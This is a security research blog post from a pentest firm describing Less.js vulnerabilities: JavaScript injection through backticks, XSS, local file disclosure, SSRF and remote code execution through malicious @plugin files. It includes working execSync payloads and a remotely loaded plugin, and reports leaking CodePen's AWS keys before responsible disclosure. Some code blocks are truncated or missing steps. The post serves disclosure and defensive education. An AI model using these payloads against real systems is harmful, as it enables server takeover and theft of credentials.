7th Jul 21 4:53 pm

Exploiting Less.js to Achieve RCE

July 7, 2021 | By: Jeremy Buis
Introduction

Less (less.js) is a preprocessor language that transpiles to valid CSS code. It offers functionality to help ease the writing of CSS for websites.

According to StateofCss.org in their 2020 survey, Less.js was the second most popular preprocessor in terms of usage.

While performing a pentest for one of our Penetration Testing as a Service (PTaaS) clients, we found an application feature that enabled users to create visualizations which allowed custom styling. One of the visualizations allowed users to input valid Less code, which was transpiled on the client-side to CSS.

This looked like a place that needed a closer look.

Less has some interesting features, especially from a security perspective. Less before version 3.0.0 allows the inclusion of JavaScript by default with the use of the backtick operators. The following is considered valid Less code:

@bodyColor: `red`;
body {
  color: @bodyColor;
} Which will output:
body {
  color: red;
} Inline JavaScript evaluation was documented back in 2014 and can be seen here near the header “JavaScript Evaluation”. 
Standing on the shoulders of giants

RedTeam Pentesting documented the inline JavaScript backtick behaviour as a security risk in an advisory that was released in 2016.  They warned that it could lead to RCE in certain circumstances. The following is a working proof-of-concept from their excellent blog post:

$ cat cmd.less
@cmd: `global.process.mainModule.require("child_process").execSync("id")`;
.redteam { cmd As a result, Less versions 3.0.0 and newer disallow inline JavaScript via backticks by default and can be reenabled via the option  {javascriptEnabled: true} Next, we return to our PTaaS client test, where the Less version was pre 3.0.0 and transpiled on the client-side, which allowed inline JavaScript execution by default. This resulted in a nice DOM-based stored cross-site scripting vulnerability with a payload like the following:
body {
color: `alert('xss')`;
}

The above pops an alert that notifies the XSS payload was successful once the Less code is transpiled.

This was a great find for our client, but wasn’t enough to scratch our itch. We started probing the rest of the available features to see if there was any other dangerous behaviour that could be exploited.

The bugs

Import (inline) Syntax

The first bug is a result of the enhanced import feature of Less.js, which contains an inline mode that doesn’t interpret the requested content. This can be used to request local or remote text content and return it in the resulting CSS.

In addition, the Less processor accepts URLs and local file references in its @import statements without restriction. This can be used for SSRF and local file disclosure when the Less code is processed on the server-side. The following steps first demonstrate a potential local file disclosure followed by a SSRF vulnerability.

Local file disclosure PoC

1. Create a Less file like the following:

3. Notice the output contains the referenced file

Lessjs $ .\node_modules\.bin\lessc .\bad.less
[default]
  aws_access_key_id=[MASKED]
  aws_secret_access_key=[MASKED]
SSRF PoC

1. Start a web server on localhost serving a Hello World message

2. Create a Less file like the following:

// File: bad.less
@import (inline) "http://localhost/"; 3. Launch the lessc command against your less file and notice the output contains the referenced external content
Lessjs $ .\node_modules\.bin\lessc .\bad.less
Hello World

Plugins

The Less.js library supports plugins which can be included directly in the Less code from a remote source using the @plugin syntax. Plugins are written in JavaScript and when the Less code is interpreted, any included plugins will execute. This can lead to two outcomes depending on the context of the Less processor. If the Less code is processed on the client side, it leads to cross-site scripting. If the Less code is processed on the server-side, it leads to remote code execution. All versions of Less that support the @plugin syntax are vulnerable.

The following two snippets show example Less.js plugins.

Version 2:

// plugin-2.7.js
functions.add('cmd', function(val) {
  return val;
}); Version 3 and up:
// plugin-3.11.js
module.exports = {
  install: function(less, pluginManager, functions) {
    functions.add('ident', function(val) {
      return val;
    });
  }
}; Both of these can be included in the Less code in the following way and can even be fetched from a remote host:
// example local plugin usage
@plugin "plugin-2.7.js"; or
// example remote plugin usage
@plugin "http://example.com/plugin-2.7.js"
The following example snippet shows how an XSS attack could be carried out:
window.alert('xss')
functions.add('cmd', function(val) {
  return val;
});Plugins become even more severe when transpiled on the server-side. The first two examples show version 2.7.3

The following plugin snippet (v2.7.3) shows how an attacker might achieve remote code execution (RCE):

functions.add('cmd', function(val) {
  return `"${global.process.mainModule.require('child_process').execSync(val.value)}"`;
}); And the malicious less that includes the plugin:
@plugin "plugin.js";

body {
color: cmd('whoami');
} Notice the output when the less code is transpiled  using lessc The following is the equivalent PoC plugin for version 3.13.1:
//Vulnerable plugin (3.13.1)
registerPlugin({
    install: function(less, pluginManager, functions) {
        functions.add('cmd', function(val) {
            return global.process.mainModule.require('child_process').execSync(val.value).toString();
        });
    }
})

The malicious Less code is the same for all versions. All version of Lessjs that support plugins can be exploited using one of the PoCs from above.

Real-world example: CodePen.io

CodePen.io is a popular website for creating web code snippets, and supports the standard languages plus others like Less.js. Since CodePen.io accepts security issues from the community, we tried our above proof of concepts to check the results of our research.

As a result, we found that it was possible to perform the above attack using plugins against their website. We were able to leak their AWS secret keys and run arbitrary commands inside their AWS Lambdas.

The following shows reading environment values using the local file inclusion bug.

// import local file PoC
import (inline) "/etc/passwd";
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...snip...
ec2-user:x:1000:1000:EC2 Default User:/home/ec2-user:/bin/bash
rngd:x:996:994:Random Number Generator Daemon:/var/lib/rngd:/sbin/nologin
slicer:x:995:992::/tmp:/sbin/nologin
sb_logger:x:994:991::/tmp:/sbin/nologin
sbx_user1051:x:993:990::/home/sbx_user1051:/sbin/nologin
sbx_user1052:x:992:989::/home/sbx_user1052:/sbin/nologin
...snip... The next screenshot shows using the Less plugin feature to gain RCE.  We responsibly disclosed the issue and CodePen.io quickly fixed the issue.
References
  1. http://web.archive.org/web/20140202171923/http://www.lesscss.org/
  2. Less.js: Compilation of Untrusted LESS Files May Lead to Code Execution through the JavaScript Less Compiler
  3. Executing JavaScript In The LESS CSS Precompiler
  4. Features In-Depth | Less.js

Was this article helpful?

We help DevOps teams at SaaS companies to build confidence in their application security.
Discover PTaaS

Was this article helpful?

Share This Post

Leave a Reply

Your email address will not be published.

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Related Post
18 November 2021 | By: Alex Hewko
Why Grey Box Pentests Are Most Effective
READ MORE
1 November 2021 | By: Warren Moynihan
15 Risks & Rewards of Pentesting in a Production Environment
READ MORE
24 June 2021 | By: Alex Hewko
The 6- Step Guide to Reviewing Your PenTesting Results
READ MORE